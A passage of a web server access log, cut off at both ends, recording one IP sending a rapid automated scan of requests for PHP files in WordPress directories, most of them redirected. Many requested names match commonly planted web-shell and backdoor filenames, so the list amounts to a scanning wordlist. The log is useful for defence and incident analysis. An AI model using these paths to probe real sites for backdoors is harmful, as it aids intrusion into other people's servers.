Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:35 -0400] "GET /wp-admin/includes/link.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:35 -0400] "GET /wp-admin/includes/senbox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:35 -0400] "GET /wp-admin/includes/varc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:36 -0400] "GET /wp-admin/css/colors/fex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:36 -0400] "GET /wp-admin/images/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:36 -0400] "GET /wp-admin/images/slsotot.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:52:36 -0400] "GET /simple/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.38 - - [29/Apr/2025:14:52:36 -0400] "GET /wp-content/fonts/nunito/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:37 -0400] "GET /wp-includes/sodium_compat/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:37 -0400] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:37 -0400] "GET /wp-includes/style-engine/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:37 -0400] "GET /wp-includes/blocks/navigation-submenu/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:37 -0400] "GET /.well-known/acme-challenge/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:38 -0400] "GET /wp-content/plugins/envato-market/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:52:38 -0400] "GET /wp-content/et-cache/7048/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.38 - - [29/Apr/2025:14:52:38 -0400] "GET /650.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:52:38 -0400] "GET /wp-includes/block-supports/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:38 -0400] "GET /core/routes/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:52:39 -0400] "GET /wordpress/wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 37.19.211.38 - - [29/Apr/2025:14:52:39 -0400] "GET /wp-includes/blocks/latest-posts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:39 -0400] "GET /files_content/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:39 -0400] "GET /wp-content/plugins/woocommerce-square/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.38 - - [29/Apr/2025:14:52:39 -0400] "GET /wp-includes/PHPMailer/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 37.19.211.38 - - [29/Apr/2025:14:52:39 -0400] "GET /uploads_demo/blog/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:40 -0400] "GET /wp-includes/sitemaps/providers/al.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 37.19.211.38 - - [29/Apr/2025:14:52:40 -0400] "GET /wp-admin/includes/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:52:40 -0400] "GET /wp-admin/maint/a3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:40 -0400] "GET /wp-admin/includes/ace.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:40 -0400] "GET /wp-includes/new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:40 -0400] "GET /wp-admin/css/colors/blue/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:41 -0400] "GET /wp-content/upgrade/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 37.19.211.38 - - [29/Apr/2025:14:52:41 -0400] "GET /wp-admin/includes/my1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 37.19.211.38 - - [29/Apr/2025:14:52:42 -0400] "GET /wp-content/uploads/google-in.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:42 -0400] "GET /wp-content/upgrade/120f9.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:42 -0400] "GET /wp-admin/css/colors/blue/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 37.19.211.38 - - [29/Apr/2025:14:52:42 -0400] "GET /wp-includes/images/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:43 -0400] "GET /wp-includes/ID3/connection.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:43 -0400] "GET /wp-includes/js/plupload/connection.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 37.19.211.38 - - [29/Apr/2025:14:52:43 -0400] "GET /wp-includes/js/codemirror/asset.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:43 -0400] "GET /wp-includes/langar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 37.19.211.38 - - [29/Apr/2025:14:52:43 -0400] "GET /wp-admin/images/sgd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:44 -0400] "GET /wp-includes/IXR/class-IXR-base64-view.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:44 -0400] "GET /images/upload.form.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:44 -0400] "GET /wp-content/languages/en.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:44 -0400] "GET /wp-includes/js/codemirror/embed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:52:44 -0400] "GET /wp-includes/wp-log1n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:45 -0400] "GET /wp-admin/css/colors/ectoplasm/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:45 -0400] "GET /wp-includes/pomo/core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:45 -0400] "GET /files/modify_business.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:45 -0400] "GET /wp-includes/Ioad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.38 - - [29/Apr/2025:14:52:45 -0400] "GET /wp-includes/images/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.38 - - [29/Apr/2025:14:52:46 -0400] "GET /wp-includes/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 37.19.211.38 - - [29/Apr/2025:14:52:46 -0400] "GET /wp-includes/PHPMailer/purna.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:46 -0400] "GET /wp-admin/maint/cpsc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:46 -0400] "GET /wp-admin/images/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 37.19.211.38 - - [29/Apr/2025:14:52:47 -0400] "GET /wp-admin/includes/colour.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:47 -0400] "GET /wp-includes/pomo/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.38 - - [29/Apr/2025:14:52:47 -0400] "GET /wp-admin/maint/mlm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 37.19.211.38 - - [29/Apr/2025:14:52:47 -0400] "GET /wp-admin/css/colors/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:47 -0400] "GET /wp-admin/images/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 37.19.211.38 - - [29/Apr/2025:14:52:48 -0400] "GET /wp-admin/css/colors/blue/ins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:48 -0400] "GET /wp-admin/maint/go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.38 - - [29/Apr/2025:14:52:48 -0400] "GET /wp-admin/js/sheb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.38 - - [29/Apr/2025:14:52:48 -0400] "GET /wp-includes/ID3/sgd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:48 -0400] "GET /wp-admin/css/colors/blue/ds.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.38 - - [29/Apr/2025:14:52:48 -0400] "GET /wp-includes/menu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:49 -0400] "GET /.well-known/b.png.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:49 -0400] "GET /wp-admin/includes/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:49 -0400] "GET /wp-admin/css/colors/blue/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:49 -0400] "GET /wp-includes/PHPMailer/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 37.19.211.38 - - [29/Apr/2025:14:52:50 -0400] "GET /wp-content/languages/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:50 -0400] "GET /wp-admin/css/f.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:50 -0400] "GET /wp-admin/css/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:50 -0400] "GET /images/footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:50 -0400] "GET /wp-admin/maint/footerm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:50 -0400] "GET /wp-includes/PHPMailer/puran.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.38 - - [29/Apr/2025:14:52:50 -0400] "GET /wp-admin/images/wp-confiq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:51 -0400] "GET /wp-admin/css/colors/coffee/xoxo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.38 - - [29/Apr/2025:14:52:51 -0400] "GET /files/ban.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:51 -0400] "GET /wp-content/languages/factory_wpdialog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.38 - - [29/Apr/2025:14:52:51 -0400] "GET /wp-admin/maint/qugpVj.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.38 - - [29/Apr/2025:14:52:51 -0400] "GET /wp-includes/Text/dashboard.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:52:52 -0400] "GET /wp-content/uploads/mlm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:52 -0400] "GET /wp-includes/yut.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 37.19.211.38 - - [29/Apr/2025:14:52:52 -0400] "GET /wp-admin/js/ace.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 37.19.211.38 - - [29/Apr/2025:14:52:52 -0400] "GET /wp-admin/maint/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:52 -0400] "GET /wp-content/uploads/old.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 37.19.211.38 - - [29/Apr/2025:14:52:52 -0400] "GET /wp-admin/images/text.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 37.19.211.38 - - [29/Apr/2025:14:52:53 -0400] "GET /uploads/update_with_pics.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:53 -0400] "GET /wp-content/upgrade/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:53 -0400] "GET /wp-admin/css/service.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:53 -0400] "GET /wp-admin/includes/ArjnrN.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:53 -0400] "GET /wp-admin/js/widgets/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:54 -0400] "GET /wp-admin/images/313.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:54 -0400] "GET /wp-includes/Text/bu2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:55 -0400] "GET /wp-admin/includes/tsconfig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:55 -0400] "GET /wp-admin/css/colors/midnight/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:52:55 -0400] "GET /wp-admin/css/colors/ew1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:52:55 -0400] "GET /wp-admin/includes/footerw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:55 -0400] "GET /wp-admin/maint/searchy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:55 -0400] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:56 -0400] "GET /wp-content/themes/wp-pridmag/init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:56 -0400] "GET /wp-content/uploads/2024/01/3_hacker.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:52:56 -0400] "GET /warm.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 37.19.211.38 - - [29/Apr/2025:14:52:56 -0400] "GET /sim.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:56 -0400] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 37.19.211.38 - - [29/Apr/2025:14:52:56 -0400] "GET /web/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:52:57 -0400] "GET /.well-known/acme-challenge/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:57 -0400] "GET /wp-content/plugins/ioxi/ioxi/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.38 - - [29/Apr/2025:14:52:57 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; 